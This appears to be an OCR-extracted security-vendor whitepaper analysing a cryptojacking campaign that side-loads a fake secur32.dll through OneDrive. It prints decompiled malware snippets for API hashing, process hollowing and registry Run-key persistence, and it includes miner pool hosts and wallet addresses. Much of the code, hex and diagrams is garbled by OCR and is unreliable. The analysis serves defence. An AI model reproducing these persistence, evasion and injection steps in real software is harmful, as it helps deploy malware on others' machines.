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Foreword Summary

In this paper we describe a cryptojacking campaign in
which the attackers exploit known DLL Side-Loading
vulnerabilities in Microsoft OneDrive. Similar DLL Side-
Loading vulnerabilities have been reportedin 1,2 and 3.

The attackers write a fake secure32.dll to
%LocalAppData%\Microsoft\OneDrive\ as non-elevated
users that will be loaded by one of the OneDrive
processes (OneDrive.exe or OneDriveStandaloneUpdater.
exe).

Threat actors use one of OneDrive's dll files to easily
achieve persistence, because %LocalAppData%\
Microsoft\OneDrive\OneDriveStandaloneUpdater.exe is
scheduled to run every day, by default.

To make persistence even more robust, the droppers

of the fake secure32.dll also set%LocalAppData%\
Microsoft\OneDrive\OneDrive.exe to run at every reboot
using the Windows Registry.

Once loaded into one of the OneDrive processes, the
fake secur32.dll downloads open-source cryptocurrency
mining software and injects it into legitimate Windows
processes.

Although the article presents DLL Side-Loading

used for cryptojacking, this method can be used to
achieve various other goals, like deploying spyware or
ransomware.

In the two-month period from May 1 to July 1, 2022,
Bitdefender detected this kind of cryptojacking of around
700 users around the globe.



https://www.bitdefender.com/blog/hotforsecurity/bitdefender-reveals-the-top-cyber-threats-faced-by-consumers-in-2021/
https://docs.microsoft.com/en-US/troubleshoot/windows-client/deployment/dynamic-link-library
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Technical analysis

In this chapter we describe the way in which secur32.dll arrives on the system and what actions it performs once it is
loaded in a OneDrive process. We noticed four similar hashes of secur32.dll, but all of them perform the same actions.
Multiple versions of secur32.dll hints at the fact that this malware campaign is ongoing and actively tested (the
authors are making small changes to the code and recompiling it, but leave the functionality untouched).

12:05:... ®%OneDrive exe 2828 2 Load Imags CWindows'System 32securd2 dll SUCCESS
12:06.... 'W- OneDriveStandalonelpdater.... 1564 2 Load Image CWindows' System 32securdZ dll SUCCESS

In normal circumstances, OneDrive.exe and OneDriveStandaloneUpdater.exe load secur32.dIl from C:\Windows\System32

12:03:... @0Onelrive.exe 6344 2 Load Image C:'—-.Users'_-ﬁppData “Local\Microsoft\OneDrivesecur32.dl  SUCCESS
12:03:... "W OneDriveStandaloneUpdater.... 792 2 Load Image C:Users | IR Aor Data' Local'\Microsoft\OneDrivetsecur32dl - SUCCESS

In this case, secur32.dll is loaded from the OneDrive folder which allows non-elevated users to write files to

0:000> kv
# Child-sP RetAddr : Args to Child : Call Site
00 B8eoeevel” 4bl5ed7@ eevd7ffd bbd2ecbb : 80@07ffd” bbcedood h A2 1 1" 4b15F5e8 F 1 : Secur32+8x26016
01 Peeeesgel” 4b15edf@ eeve7ffd c7bc9ald : 8688e7ffd bbcesose E 1 Bel” 4b15f5e8 @ 88" 7ffe@385 : Secur32!GetUserNameExW+8x1acsh
B2 Beeeeeel” 4b15ee58 eevB7ffd c7clcle? : 98888274  68d9ce28 @eea7ffd bbcetoee eeee7ffd eoeeeee1 60068274 63dad37@ : ntdll!LdrpCallInitRoutine+8x61
03 Beeeeeel” 4blSeecd eev07ffd c7clbf7a : 00808274 68docf78 68008274 68d9cfee 000800el” 4b15f001 00080274 @08eeeel : ntdll!LdrpInitializeNode+8x1d3
94 geeesesl” 4bl5fele eeee7ffd c7clcees : @eeeensl” 4b342000 00000274 68d92d9e 0OGEeEel” 4b15T0e@ 00088274  68dalfed : ntdll!LdrpInitializeGraphRecurse+8x42
85 8eeeeeel” 4bi5fese eeee7ffd  c7ci3bea 2 i " @0eeaa1e : eeoe7ffd c7celade : ntdll!LdrpInitializeGraphRecurse+@xcg
86 eeeaelel” 4b15feoe eeoe7ffd c7c24ceb = i 1 i b P 1 : ntdll!LdrpInitializeProcess+@xlfca
07 B8eeeeeel” 4b15f4c@ @ed7ffd c7c24b73 : 00200000° 0AEA2GE8 62007ffd c7bbooee n 1°4b34b00@ : ntdll!LdrpInitialize+@x15f
08 Peeeevel” 4b15f56@ eeee7ffd c7c24ble : 90eee0el” 4b15f5el % B i : ntdll!LdrpInitialize+ex3b
B9 Peeeseel” 4b15f59@ E 5 i i B ‘ : ntdl1l!LdrInitializeThunk+8xe
8:808> |
] id: 2114 create name: OneDriveStandalonelUpdater.exe

0:800> !address eeee7ffd bbd2ecbb

Usage: Image

Base Address: eeee7ffd" bbceleee

End Address: eeea7ffd” bbd24eee

Region Size: 80000000° 08043008 ( 268.000 kB)

State: 8eoale0e MEM_COMMIT

Protect: 08080020 PAGE_EXECUTE_READ

Type: 81000000 MEM_IMAGE

Allocation Base: eeee7ffd" bbceeese

Allocation Protect: 080eeasn PAGE_EXECUTE_WRITECOPY

Image Path: C:\Users\adjistenkati\AppData\Local\Microsoft\OneDrive\Secur32.dll
Module Name: Secur3z

Loaded Image Name: C:\Usersh\adjistenkati\AppData\Local\Microsoft\OneDrive\Secur32.dll
Mapped Image Name:

More info: lmv m Secur32

More info: 'lmi Secur32

More info: 1n ex7ffdbbd2ecbb

HMore info: !dh ex7ffdbbcepes

Content source: 1 (target), length: 3345

Stack trace in the moment when secur32.dll creates the malicious thread

Initial access

As initial access is concerned, the malicious secur32.dll seems to arrive at its desired location by commodity
malware disguised as legitimate software (dropper process names include adobe photoshop setup.exe, Free_
Macro_V1.3.exe). From the moment the malicious secur32.dll is dropped, it is up to the legitimate OneDrive.exe or
OneDriveStandaloneUpdater.exe to load and execute it.

API resolution
Before digging further into the attack, we would like to present the API resolution scheme, which is used both by the
dropper and the malicious secur32.dll.

When secur32.dll calls Windows API, the functions are not directly called, to evade malware detection based on
imports. Instead, the malicious secur32.dll uses an API resolution scheme that employs FNV-1a hashing*:



The call of CreateProcessA, for example, looks like this:

memset(&processInformation, @, sizeof(processInformation));

memset(startupinfo, @, Bx68ui6d);

IpProcessInformation = &processInformation;

IpStartupInfo = startupInfo;

IpCurrentDirectory = @i64;

IpEnvirnoment = @1i64;

duCreationFlags = 0x8000004;

bInheritHandles = @;

IpThreadAttributes = @i64;

IpProcessAttributes = 0i64;

if ( !(unsigned int)Call CreateProcessA(
(__int64)&al,
(__int64)&svchostPath,
(__int64)&svchostPath2,
(__int64)&lpProcessAttributes,
(__int64)&1pThreadAttributes,

{__int64)&bInheritHandles,

(G

(G

int64)&dwCreationFlags,

int64)&1pEnvirnoment,
(__int64)&1pCurrentDirectory,
(__int64)&1pStartupInfo,
(__int64)&lpProcessInformation) )

Example of indirect API call
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An indirection is used for each function call that will resolve the API and then call the function:

int dwCreationFlags2; // [rsp+56h] [rbp-58h]

int bInheritHandles2; // [rsp+54h] [rbp-54h]
__int64 1pProcessInformation; // [rsp+58h] [rbp-5@h]
__int64 1pStartupInfo; // [rsp+66h] [rbp-48h]
__int64 lpCurrentDirectory; // [rsp+68h] [rbp-46h]
__int64 lpEnvirnoment; // [rsp+7@h] [rbp-38h]
__int64 1lpThreadAttributes; // [rsp+78h] [rbp-3@h]
__int64 l1pProcessAttributes; // [rsp+86h] [rbp-28h]
__int64 svchostPath2; // [rsp+88h] [rbp-28h]

inté4 v21; // [rsp+36h] [rbp-18h]

Ptr_CreateProcessA = (__int64 (_ fastcall *)(__int64, _ int64, _ int64, _ int64, int,
1pProcessInformation = *(_QWORD *)unknown_libname_4(LpProcessInformation);
1pStartupInfo = *(_QWORD *)unknown_libname_4(LpStartupInfo);
1pCurrentDirectory = *(_QWORD *)unknown_libname_4(LpCurrentDirectory);
lpEnvirnoment = *(_QWORD *)unknown_libname_4(LpEnvironment);
dwCreationFlags2 = *(_DWORD *)unknown_libname_4(DwCreationFlags);
bInheritHandles2 = *(_DWORD *)unknown_libname_4(BInheritHandles);
1pThreadAttributes = *(_QWORD *)unknown_libname_4(LpThreadAttributes);
lpProcessAttributes = *(_QWORD *)unknown_libname_4(LpProcessAttributes);
svchostPath2 = *{_QWORD *)unknown_libname_4(LpCommandLine_1);
v21 = *(_QWORD *Yunknown_libname_4(LpApplicationhame);
return Ptr_CreateProcessA(

v21,

svchostPath2,

1pProcessAttributes,

1pThreadAttributes,

bInheritHandles2,

dwCreationFlags2,

1pEnvirnoment,

1pCurrentDirectory,

1pStartupInfo,

1pProcessInformation);

Before being called, each API needs to be resolved

The API resolution performs the following steps:

struct _PEB *GetCurrentPeb()

{
struct PEB *result; // rax

return NtCurrentPeb();
¥

The Process Environment Block is obtained using NtCurrentPeb()

|_int64 _ fastcall Call CreateProcessA(_ int64 al, | int64 LpApplicationName, _ int64 LpCommandlLine_1, _ int64 LpProcessAttributes, _ int64 LpThreadAttributes,
{ %

__int64 (_ fastcall *Ptr_CreateProcessA)(__int64, _ int64, _ int64, _ int6é4, int, int, _ int64, _ int64, _ int64, _ inté4); // [rsp+98h] [rbp-10h]

int, _ int64, _ int64, _ intb4, _ int64))Resolve_CreateProcessA();
_—
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PEB_LDR_DATA *GetPebLdr()

{
return GetCurrentPeb()->Ldr;
¥
The pointer to PEB_LDR_DATA is obtained from the PEB
sub rsp, 28h
call GetPebldr
mov rax, [rax+16h]
add rsp, 28h
retn

ength : Uint4B

Initiali : UChar

: P A4 Voi

Gets the InLoadOrderModuleList, that is actually the first entry of type LDR_DATA_TABLE_ENTRY

| int64 Resolve_CreateProcessA()
n
unsigned int NumberOfMames; // [rsp+28h] [rbp-48h]
unsigned int Hash; // [rsp+28h] [rbp-4@h]
int ApiChecksum; f/ [rsp+2Ch] [rbp-3Ch]
unsigned _ int8 *LastMameAddress; // [rsp+38h] [rbp-38h]
__int64 v6; // [rsp+38h] [rbp-306h] BYREF
__int64 Array3Qword[3]; // [rsp+46h] [rbp-28h] BYREF

GetInLoadOrderModulelist((Concurrency::details::SchedulerBase *)&v6);

do
{
GetImportDirectory((__int64)Array3Qword, *(IMAGE_DOS_HEADER **)(v6 + 48));
if ( ComparelImageBaseWithExportDirectoryVA(Array3Quord) )
{
I : :details: :GlobalNode: : TopologyObject *)Array3Quord);
Hash = sub_7FFBAE2ZAEGEG(@xBCCAC3D7@CBOA2197uibd);
= {unsigned _ int8 *)GetLastNameAddress(Array3Qword, NumberOfNames);
ApiChecksum = sub_7FFBAE2AE620(0xCBA2197u);
if ( (unsigned int)FNV1A(LastNameAddress, Hash) == ApiChecksum )|
return CalculateFunctionAddress(Array3Qword, MNumberOfMames);

¥
¥

3
while ( sub_7FFBAE2B1FBA(&v6) );
return 9i64;

¥

Iterates the list of modules loaded by the host process. For each module, it iterates the list of exported functions. The searched function is
identified by calculating the FNV-1a hash of its name and comparing the result with a hardcoded value

An interesting property of the FNV-1a hash is that it needs a value to initialize the hash. In the above example, the hash
is initialized to 0XBCCAC3D70CB02197, but this can be any non-zero value. This initialization allows the malware to
identify the target APl name through more (Hash, ApiCheckSum) pairs, and the malware actually does this. Each API
call has its own API resolution function with a different hardcoded initial hash and checksum.

Execution flow
General infection flow

We noticed two main patterns used when dropping secur32.dll. One of them involves using a small dropper malware
process which writes to disk the malicious secur32.dll and additional files. In the second case, the dropper malware
injects malicious code into AppLaunch.exe to perform the drop.
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The following diagram offers a high-level overview of the malware operation flow:

Commodity Commodity
malware malware
(e.g.2 \Downloads (e.g.: \Downloads
=name=_gxg) =name=_exg)
T T
| I
Iaunlches injects
1
Y V
Dropper process
running 2
i \AppDatall InstallUtil.exe
cal\Tempt
T T
| I
| launches
drt;ps i
; s
I
I ‘AppData\Local\T
| empiinstaller exe
|
|
' :
I injects
e |
I 1 Y
! :
: ApplLaunch.exe =
|
| o
| |
[ i drops i
| i
P l launches sllﬂer reboot
I
s
Config file for
open-source -l Malicious OneDrive exe or
cryptocurrency securd2dll (<E-—-—-——--— loads ======- OneDriveStandaloneUpdater exe
miner reads

Downloads crypto miner and injects it into

SR svchost.exe or
conhost.exe

The main attack flow

Dropper flow

The dropper malware attempts to limit noise by checking first if the infected computer can support crypto-currency
mining. For that, it performs a basic check of the available hardware. First, it checks that the number of CPU cores is
greater than 2.

Call GetSystemInfo(( SYSTEM_INFO *}&lpSystemInfo);
if { systemInfo.dwNumberOfProcessors <= 2 )
1
vE5S = sub_8895CF();
Call ExitProcess(&v185, (int)&vE5);
il FEAYIEAS S YR T D0

The dropper checks the number of CPU cores

Next, it enumerates the display adapters to check that the system is equipped with, as a minimum, an Intel, Nvidia

or AMD graphics card that runs correctly. After querying the display adapters, it checks whether they are equal with
“Microsoft Basic Display Adapter” or “Standard VGA Graphics Adapter.” These two display adapters are used when the
driver of the graphics card is not yet installed, or the driver failed to run properly.
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int _ cdecl CheckDisplayDeviceName(int al)

1

struct _DISPLAY DEVICEA DisplayDevice; [/ [esp+dh] [ebp-1ACh]

DisplayDevice.cb = 424;

DisplayDevice.DeviceName[@] = @;

sub _B@7198(( ml28i *)&DisplayDevice.DeviceName[1], @, @x1A3u};
EnumDisplayDevicesA(@, @, &DisplayDevice, 1lu};

sub 7F513@8((void *}al, (int)DisplayDevice.DeviceString);
return al;

b

The dropper checks the existence of a graphics card

The dropper resolves the LoadLibraryA function and loads shell32.dIl, advapi32.dil and wininet32.dIl. The names of
the DLLs are present in the dropper memory as XOR-encrypted strings.

BaaaeasC 7E3FEADS
Baaaea8C 7TE3FEAE
Baeeaa8C7B3FEAF
Baea8a8C 7E3FEBE
{paaaaa8C 7JE3FEBLE
paeeeasC JEIFEB20

/e 68 o6 e 02 08 88 OB B0 B8 a8
Ba @@ 8o a8 ba 08 68 o8 8o B8 ee
@@ o2 o0 BB 0B 02 BB B0 00 28 28
Ba @@ @@ @@ o2 02 82 oR 8o B8 ee
44 59 B9 E7 19 BD 89 F@ 33 18 1A D2
/8 66 @8 B8 08 60 B8 B0 B0 00 B8 B8

SEASSES
$§8883
868888
8
8

String in memory before decryption

Ba2epesC7BIFE o8 @@ 00 00 P 0D DO OB OO 0D OO 0D B0 OB BB BB  ............0.00..
BaBeBasCTE3 B8 a2 06 6P B0 G0 DO BB OO0 OO 90 B0 B0 8B B8 BB  ............000..
Baeeee3CT7EIFEA o6 @b 00 o0 Po 0D PO 00 OO 0D OO0 OG0 B0 0D BB BB  ................
BaeeeesC7ESFEERE 00 0D 00 0D GO OO 0D D0 00 0D DO OD DD OB BB BB  ..............0..
|eaaeeesC7B3FEBL8 44 56 41 58 49 33 32 2E 64 6C 6C 80 @0 @8 88 ADVAPI32.dll....
B@aeeeesCTESFEEZE o0 oD 90 00 G0 OO 00O G0 00 OD DO G0 PO B0 BB BB  ................

The same memory area after decryption with XOR
In case OneDrive.exe is running, the malware stops it, using the command line: taskkill /IM OneDrive.exe /F.

The configuration of the crypto miner software is stored in the memory of the dropper, as a JSON array in a XOR
encrypted form. When decrypted, we notice that it contains the parameters required by the cryptomining software:

ipipipipipipipipipipipipR.5'....[®, "etc","etc.2miners.com:1818",

"@x5aC1BA3Te1STEAaRFE3843601C25CB2847CE4234" , 8, "ymr™ , "xmr . 2miner
S.Com:2222" , "A49vSLTYoprvKt4ACqLjPH2QKBMNEYGLscVul9uZPzHaWZwlT271
qwg 3CdGRYZhAxYk4miyx5mITm7Cglf JiFUbyHLGXpwHK™ , "EasyMiner™] . 2. 42

The configuration for the crypto mining software

The malware encrypts the JSON array by performing XOR operation with the GUID obtained by a call to
GetCurrentHwProfileA and writes it to disk in the folder %LocalAppData%\Microsoft\ using a randomly generated file
name that ends with _s (e.g.: 0dsaowQ2ACuzlJ_s).

The dropper then decrypts the malicious secur32.dll hardcoded in its own memory and writes it to %LocalAppData%\
Microsoft\OneDrive\Secur32.dll.
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.data: locationSecur32 db 83h ; f ; DATA XREF: Main+(87%to
.data: 93h ; ©
.data: 3
.data: 89h ;
.data: 8B8h ;
.data: abh
.data: eceh ; £
.data: ec7h ; ¢
.data: 8C2h ; A
.data: @AFh ; -
.data: 98h ; ~
.data: @CEh ; I
.data: 36h ; 6
.data: 6Ch 5 1
.data: 89h ; &
.data: 8BBh ; »
.data: 25h ;%
.data: eCeh ; £
.data: eC7h ; ¢
.data: eceh ; £
.data: 8AFh ; -
.data: 98h ; ~
.data: @CEh ; I
.data: @coh ; E
.data: @D3h ; O
.data: db 89%h ; %

@
56 38 7A 57 D4 EF E9 7B DC D5 8E%|&UZezwdis{ld
56 76 35 11 F5 F3 57 3A 36 BB 5.0U,.0p5.36W:6»
56 €7 €C 72 71 42 54 19 66 66 | 4p.QhCIrgBT.ff
56 @9 54 42 B2 6D 33 A6 9F 6B ;=-€<=P.TBZm3!Vk
o [FE 93 @3 89 BB 9D (6 €7 \“meEfmlfe.%, .A4C
BB 25 C6 C7 C6 AF 98 CE €9 “Telniece “IE

A
AF 98 CE (9 93 89 BB 9D Cb Ok».ACE ~TE"%m.£
89 BB 9D C6 C7 C6 AF 98 CE CA& "TE"%».4ce "1
€6 Al 87 74 C7 93 3D B2 58 E"%».(CE;HtC"=2P
FB E@ C8 BD B6 BS A9 (8 EA ¢.(HUi.03EXYpeEs
A8 B2 BF FA AB E9 E1 FC D5 ~H3@056™ 2. 4«éaud

FEEEEE-EEEE
000600006060
G0 GA GO GO GO GO GO GO 0O GA GO

@6 60 G0 FF FF 80 80 MZ.......... .. | 000800068: 4D SA 90 06 B3 00 00 00|64 60 00 80 FF FF 00 68
@0 B0 60 6O 0O 00 ... B0008010: B2 00 OO B0 B0 OO 00 OO|48 00 00 00 B0 00 00 00
B0 00 00 B0 0P 00 . .| 99000028: 00 00 60 060 6O 00 00 GA| 0G0 GO 00 60 6@ 60 GO A8
90 00 00 OO OO ©0 0D OO 0O OO OO 0D 16 ©1 00 B0 ... @00006E30: A6 G0 00 A9 60 B0 00 00|60 00 A0 68 18 61 00 68
©E 1F BA ©F @8 B4 @9 CD 21 B8 @1 4C CD 21 54 68 .. ! .Li!Th| O@00BO4B: BE 1F BA BE 60 B4 89 CD|21 B8 81 4C CD 21 54 68
69 73 2@ 7@ 72 6F 67 72 61 6D 2@ 63 61 6E BE 6F is-program-canno| BOBBBASA: 69 73 28 78 72 6F 67 72|61 6D 28 63 61 6FE 6E 6F
74 28 62 65 28 72 75 GE 28 659 G6E 28 44 AF 53 20 t-be-run-in-DOS-| BOOBOBGE: 74 28 62 65 28 72 75 6E|20 69 6E 28 44 4F 53 28
6D 6F 64 65 2F 8D BD @A 24 90 PO B0 O° 60 B3 98 e sgppea7e: 6D 6F 64 65 2E BD BD BA|24 B0 08 608 B0 68 68 B8
@6 98 (4 4C 42 F9 AA 1F 42 F9 AA 1F 42 F3 AA 1F ."ALB0 00000080: 66 98 Cu4 4C 42 F? AR 1F |42 F? AR 1F 42 F2 AR 1F
91 8B A9 1E 44 F9 AA 1F 91 8B AF 1E DB F9 AA IF 80008090: 91 8B A9 1E 44 F? AR 1F|91 BB AF 1E DB F? AR 1F
91 8B AE 1E 4F F9 AA 1F E3 BE AE 1E 4D F9 AA IF .| 900000AR: 91 BB AE 1E 4F F9 AR 1F|E3 8E AE 1E 4D F9 AA 1F
E3 8E A9 1E 48 FO AA 1F E3 BE AF 1E 64 F9 AA 1F § u=.| 0000068BA: E3 SE A9 1E 48 F? AR 1F|E3 BE AF 1E 64 F9? AR 1F
@ooeeace: 91 8B AB 1E 45 F9 AR 1F|42 F9 AB 1F 31 F? AR 1F
B7 8E AF 1E 46 F9 AA 1F B7 8E AA 1E 43 F9 AA 1F u=,| B@0pBADA: B7 BE AF 1E 46 F? AR 1F|B7 BE AR 1E 43 F9 AR 1F
B7 8E 55 1F 43 F9 AA 1F B7 8E A8 1E 43 F9 AA 1F LCh u=,| B@0PBBEA: B7 BE 55 1F 43 F? AR 1F|B7 BE A8 1E 43 F9 AR 1F
52 69 63 68 42 F9 AA 1IF 00 G0 B0 00 00 60 BB @@ RichBu2 B0BBBBFA: 52 69 63 68 42 F? AN 1F |68 B0 08 60 B0 68 68 B8

@8
=]

. .LitTh

is program canno

t be run in DOS
$

91 BB AB 1E 45 F9 AA 1F 42 F9 AB 1F 31 F9 AA 1F

CRCC ]

Decrypted secur32.dll in the memory of the dropper and the dropped secur32.dll file

Interestingly, the dropper will also decrypt a hardcoded OneDrive.exe and replace the already existing one inside
%LocalAppData%\Microsoft\OneDrive\. The replacement OneDrive has malicious signatures on VirusTotal and it is
not digitally signed, but the attack works with the original, clean OneDrive.exe. The replacement OneDrive.exe only
contains a LoadLibraryA(“secur32.dll”) call.

To ensure that OneDrive executes at the next reboot, the dropper adds to registry values two reg.exe command lines:

*  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v OneDrive /t REG_SZ /f /d %LocalAppData%\
Microsoft\OneDrive\OneDrive.exe

*  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v OneDrive /t REG_
BINARY /f /d 020000000000000000000000

At this point, the job of the dropper process is done. Now the malicious secur32.dll will be loaded by either OneDrive.

exe or OneDriveStandaloneUpdater.exe into memory.

Some of the dropper processes that we detected communicate with a C2 server on Telegram and report the hardware
specs and geolocation of the infected machine.
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secur32.dll flow
The malicious secur32.dll exports only one function, GetUserNameExW:

— o

= | Member Offset Size Value
B =] File: fed6517a5f 84eecc29edees
5;‘.19* b N Characteristics 0004A150 Dword 00000000
— [ Dos Header TimeDateStamp 00044154 Dword FFFFFFFF
(2 Mt Headers : N
@ Fle Hoader MajorVersion 0004A158 Word 0000
|2 Optional Header MinorVersion 0004A15A Word 0000
(=) Data Directories [x]
| (& Section Headers [ Name 0004A15C Dword 00048582
— (3 Export Directory Base 0004A160 Dword 00000001
— g:::"“'):“’f“" - NumberOfFunctions 0004A164 Dword 00000001
— ) Exception Directory MNumberOfNames 00044168 Dword 00000001
— "_E““-“’c“““r“"’“"” AddressOfFunctions 0004A16C Dword 00048578
— % Dependency Walker Ordinal Function RVA [ Name Ordinal | Name RVA Name
— %, Hex Editor
— 4, Identifier
- Qw Adder (nFunctions) Dword Word Dword szAnsi
— % Quick Di bl
| %, Rebuilder 00000001 00026030 0000 0004B58E GetUserNameExW

The export directory of the malicious secur32.dll

The reason for this is that OneDrive.exe imports only GetUserNameExW from the malicious secur32.dll:

& Module Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA FTs (1AT)
E]_Dgesu?;:':” 000D9C8D N/A 000DB0AB | 000DBOAC 000D80BO 000D80B4 | 000D80BS
12 Nt Headers szAnsi (nFunctions) | Dword Dword Dword Dword Dword
AT%LS 3:::;":; e KERNEL32.d!I 161 00009918 00000000 00000000 000DAC | 0DOA9TED
5 Data Dirsctories fx] USER32.dll 13 000DAODD | DDODOOOD 00000000 000DAADA | 0DDASSCS
= gr:‘:"m = ADVAPI32.dI 56 000DST3E | 00000000 00000000 000DAEAD | 000AS000
| — (3 Resource Drectory SHELL32.dlI i 000DIEFD 00000000 00000000 000DAFDS | 0DDAS7BS
— g;ﬁ?ﬂ%’:ﬁ’z’ ole32.dil 14 000DAGEE | 00000000 00000000 000DBODE | 000A99BO
| 2 Debug Directory OLEAUT32.dlI 10 000D9E28 00000000 00000000 000DBOE2 | 00DA9GFD
— bw&m CRYPT32.dl 2 00009900 00000000 00000000 000DB120 | 0ODASICE
| % Dependency Walker RPCRTA.dil 13 000DIERD 00000000 00000000 000DB262 | 0DDA9748
— %:‘ﬂ" Secur32.dil 1 000DSFFO 00000000 00000000 00049888
| 9 mport Adder SHLWAPLdil 16 000D9F58 00000000 00000000 000DB3AB | 0DDASE30
— ), Quick Di
— ), Rebuilder OFTs FTs (1AT) Hint Name
e % Resource Editor
Qword Qwerd Word szAnsi
00000000000DB26E | 000000000ODB26E | 0D1B GetUserNameExW

The import directory of OneDrive.exe

We can assume that OneDrive.exe calls GetUserNameExW. The malicious secur32.dll however returns the value 1
from the exported API:

char GetUserNameExh{)

i
h‘eturn 1;

3
Fake stub for GetUserNameExW

By using the fake GetUserNameExW stub, the malware avoids the disruption in the normal functioning of OneDrive.
exe. The real malicious actions are executed from a different thread that is created by the secur32.dll from

DlIMain. The thread resolves LoadLibraryA and loads advapi32.dll, shell32.dll and wininet.dll. The thread also calls
GetCurrentHwProfileA, which returns the same GUID as it returned for the dropper. In the rest of the paper we will refer
to this GUID as the GUID password. The thread enumerates the files in %LocalAppData%\Microsoft\ and it looks for
three special files:
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File path pattern File contents

the config file XOR encrypted by the dropper with the
GUID password

%appdata%\Local\Microsoft\<random_characters>_s

XMRig ® (open-source crypto miner) binary that was
%appdata%\Local\Microsoft\<random_characters>_c downloaded in a previous run of the malicious secur32.
dll and archived with the GUID password

loIMiner ¢ (open-source crypto miner) binary that was
%appdata%\Local\Microsoft\<random_characters>_g downloaded in a previous run of the malicious secur32.
dll and archived with the GUID password

The dropper decrypts the config file using the GUID password and loaded into memory as a JSON array.

If the dropper cannot find either XMRig or loIMiner on the disk, it means that secur32.dll did not yet run and they must
be downloaded from their GitHub repositories. When downloading the crypto miners, the URLs used for download are
XOR decrypted from memory. The User-Agent in the requests is “soft”.

encr"ypfedilolf'-’.i-ner"l-,lr"l = (cdr'st 7mJ_281 *YaetEncryptedLolMinerUrl({ int64 *)&mal.coded lolMinerUrl[188]);
decrypted_lolMinerUrl = Xor_8@ byte(encrypted_lolMinerUrl);

The URLs for loIMiner is decrypted by applying 80 bytes long XOR with hardcoded key

yvBypass = 0i64;
lpszProxy = @i64;

5 "soft";
vardBd = Call InternetOpenA(
(un int)&varsC

(un

(L
(—
(—

[T l.-; [E]
—~+ l‘"Ul_l U(_l U(_l U(_l

The dropper will make a request to github.com with the User-Agent set to “soft”

The crypto-miners are downloaded in memory as zip archives and then inflated while still being kept in memory. These
crypto miners need some command line parameters to run. The dropper extracts the parameters from the config file
ending in _s. Moreover, the config file specifies which crypto miner should be used. In case the mining algorithm is
Ethash, Etchash or TON, the chosen crypto-miner is loIMiner. In case of Monero, the obvious choice is XMRig.

If lolMiner is used, the hollowed process is svchost.exe. In case XMRig is used, the chosen victim is conhost.exe. After
OneDrive.exe hollows the victim process, a new thread is started inside OneDrive.exe, which runs an infinite loop. This
thread checks if Taskmgr.exe, procexp.exe or procexp64.exe is running and kills the hollowed process in case those
tools are active. Otherwise, the victim process is hollowed again.

The main flow of the malicious thread is summarized by the following flowchart:
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Creates a thread l
on process attach 1
l |
For each file in
Appdatal o
Resplve Local\Microsoft
LoadLibrary
LoadLibrary

("advapi32.dil")

Thefileiza
Yes 9 Zipped lolMiner,
zave it's path

:

LoadLibrary

Does the file end with
_g?

("shell32.dIl™)

l No

LoadLibrary

("wininet.dll"}

:

Reszolves and calls

Thefileisa
Yes - Zipped xmrig,
zave it's path

Does the file end with
_c?

GetCurrentHwProfile(),
will return a GUID string
(hwProfileGUID)

l ,

) Thefileisa
Does the fg:s; end with Yes - config file, save
= it's path

The main execution flow in the malicious secur32.dll (part 1)

12



files?

Mo

Does the config
file exist?

Yes

2

Read the config
file

.

Mo, crypto miner will __J
run without parameters

Decrypt the config file contents:
decrypted[i] = 0xFF - encrypted[i] *
hwProfileGUID[i]

.

Load the config
into memory as a

~ Yes

|- Yes

json object

A 4

~p | GetMiner{lolMiner)

| — Yes

Bitdefender Whitepaper

Side-Loading OneDrive for profit — Cryptojacking campaign detected in the wild

.

GetMiner(xmrig)

Does the config
contain the "etc”
parameter?

No

Does the config
contain the "eth"
parameter?

No

oes the config
contain the "ton”
parameter?

Build command
line with svchost
and parameters

for the miner

Dioes the config
contain the "xmr"
parameter?

No

Yes

¥

Build command

line with conhost

and parameters
for the miner

v

Hollow
(swchost,
lolMiner)

Hollow
(conhost,
xmrig)

The main execution flow in the malicious secur32.dll (part 2)

Create thread
that will execute
PostOperations()

'

End of main
loader thread
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procedure
GetMiner(miner)

Mo

Download the
zip from github

v

Inflate the
downloaded
archive in
memaory

v

Store miner.exe
MZPE in memory

_reate an archive
in
Appdata\Local\Mi
crosoft with
password
hwiProfileGUID
containing the
Mminerexe

Does zipped
miner exist?

Yes

Inflate the archive
using password
hwProfileGUID

l

Store miner.exe
MZPE in memory

|lend procedure

Flow of obtaining the image of the crypto miner in memory
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The process hollowing technique is classic, but we will present it for recap purposes. First of all, a victim process is
created with the CREATE_SUSPENDED flag:

memset(&processInformation, @, sizeof(processInformation));

memset(&startupInfo, @, @x68uibd);

lpProcessInformation = &processInformation;

lpstartupInfo = &startupInfo;

lpCurrentDirectory = @i64;

1 irnoment = @i64;

onFlags = Bx30080684;

bInheritHandles = @;

lpThreadattributes = @i64;

lpProcessAttributes = @igd;

if ( !(unsigned int}Call CreateProcessA(
(_ inte4}8&al,
(__int64}&svchostPath,
(__inte4)}&svchostPath2,
(_ inte4)}&lpProcessAttributes,
(__int64}&1pThreadAttributes,
(_ inte4)}&bInheritHandles,
(__int64}&dwCreationFlags,
(_ int64}&1pEnvirnoment,
(__int64}&lpCurrentDirectory,
(__inte4}&lpStartupInfo,
(_ inte4)&lpProcessInformation) )

ratien G S

Process hollowing victim is created suspended

The context of the main thread of the victim process is needed in the hollowing process. A CONTEXT structure is
allocated using VirtualAlloc and the context is acquired using GetThreadContext.

The ContextFlags field is set to CONTEXT_FULL = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_FLOATING_
POINT.

context = (CONTEXT *)Call_VirtualAlloc(
(__int64)&a1 + 1,
int64)&1pAddress,
int64)8&dwSize,
int64)&f1AllocationType,
int64)&f1Protect2);
context-»>ContextFlags = @x10000B;
victimImageBaseAddress[1] = 0i64;
if ( !(unsigned int)Call_GetThreadContext((__int64)&al + 2, (__int64)&processInformation.hThread, (__inte4)&context) )
return @i64:

(
(
(—
[

The context of the victim process is acquired

Executable memory is allocated in the address space of the victim process and the headers of the crypto miner MZPE
are written in the allocated memory area:

allocatedAddressInVictimProcess = VirtualAllocEx(
nrocessInformation. hProcess,
imageNtHeaders->0ptionalHeader . ImageBase,
imageNtHeaders->0ptionalHeader.5ize0f Image,
Bx3e881i64,
T1Protect);
VirtualAllocEx called on the victim process
Call WriteProcessMemory(
(__inte4)&a3l + 3,
(__inte4)&processInformaticon,
{__inte4}&allocatedAddressInVictimProcess,
(__inte4)&minerVirtualImageBase,
(__inte4)&imageNtHeaders->»0ptionalHeader.5izeOfHeaders,
(__int64)&LpNumberofBytesWritten);l

The headers of the crypto miner are written in the victim process
